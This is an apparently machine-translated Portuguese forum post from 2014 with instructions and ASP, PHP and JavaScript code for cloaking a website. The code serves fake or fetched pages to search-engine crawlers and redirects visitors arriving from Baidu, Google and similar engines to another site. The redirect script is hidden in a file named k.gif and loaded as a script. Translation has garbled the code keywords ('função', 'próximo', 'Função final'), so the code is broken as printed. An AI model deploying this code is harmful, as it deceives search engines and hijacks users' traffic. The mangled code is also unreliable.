Primeiro, é simples: adicione o seguinte código à página inicial:
Versão ASP
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>
Versão PHP
<!--#include arquivo="conn.php"-->
<script src="images\k.gif"></script>
Depois, adicione o seguinte código ao arquivo conn de acordo com o programa do site; se você não tiver um conn.asp ou conn.php, crie você mesmo:
conn.asp edição
----------- a seguinte reprodução--------------------------------
<%
função isspider()
Agente DIM, Searray, I
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot", "baiduspider", "sogou", "yahoo", "soso", "360spider")
isspider= falso
para i=0 para ubound (searray)
se (instr(agente,searray(i))>0) então isspider=verdadeiro
próximo
Função final
função fromse()
Diz um URL de Dum, i, Searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
Fromse= falso
se urlrefer="" então fromse= false
searray=array("google", "baidu", "sogou", "yahoo", "soso", "360")
para i=0 para ubound (searray)
se (instr(urlrefer,searray(i))>0) então fromse=true
próximo
Função final
função gethttp(url)
dim http
set http=createobject("MSXML2. XMLHTTP")
http.open "GET",url,false
Http.send()
se Http.readystate<>4 então
Função de saída
fim se
gethttp=bytes2BSTR(Http.responseBody)
Set http=Nada
se err.number<>0 então err. Limpo
Função final
function bytes2BSTR(vIn)
dim strReturn
dim i, ThisCharCode, NextCharCode
strReturn = ""
Para i = 1 Até LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Se thisCharCode < & H80 então
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Fim Se
Próximo
bytes2BSTR = strReturn
Função final
se(isspider()) então
dim myfso, fileurl, filecon, myfile, bodyurl, remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
resposta.limpo
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
resposta.flush
resposta.fim
fim se
%>
conn.php
---------------- a seguinte reprodução----------------
<?php
função is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = matriz ('baiduspider', 'sogou spider', 'sosospider', 'iaskspider', 'naverrobot');
foreach ($identify AS $key => $tag){
if (strstr($user_agent, $tag)){
retorno verdadeiro;
}
}
retorne falso; }
função is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = explode("@",$come_from);
foreach($referer como $url){
se (stristr($_SERVER['HTTP_REFERER'],$url)){
retorno verdadeiro;
}
}
retorne falso; }
if (is_search_bot())
{
$html = "<title>Faculdade Vocacional de Engenharia de Software de Wuhan</title> <meta nome=\"Autor\" conteúdo=\"Preencha as mesmas palavras-chave\"> <meta nome=\"Palavras-chave\" conteúdo=\"Palavras-chave\"> <meta nome=
\"Descrição\" conteúdo=\"Descrição\"> </head> <body>Conteúdo</body></html>";
Echo $html;
}
if (!is_search_bot() & & is_urlbaidu())
{
Cabeçalho('Localização:http://www.itsvse.com');
}
?>
Por fim, no diretório de imagens, faça upload de um arquivo k.gif k.gif o código:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; URL de redirecionamento
|
Publicado em 01/12/2014 18:48:55
|
|
|
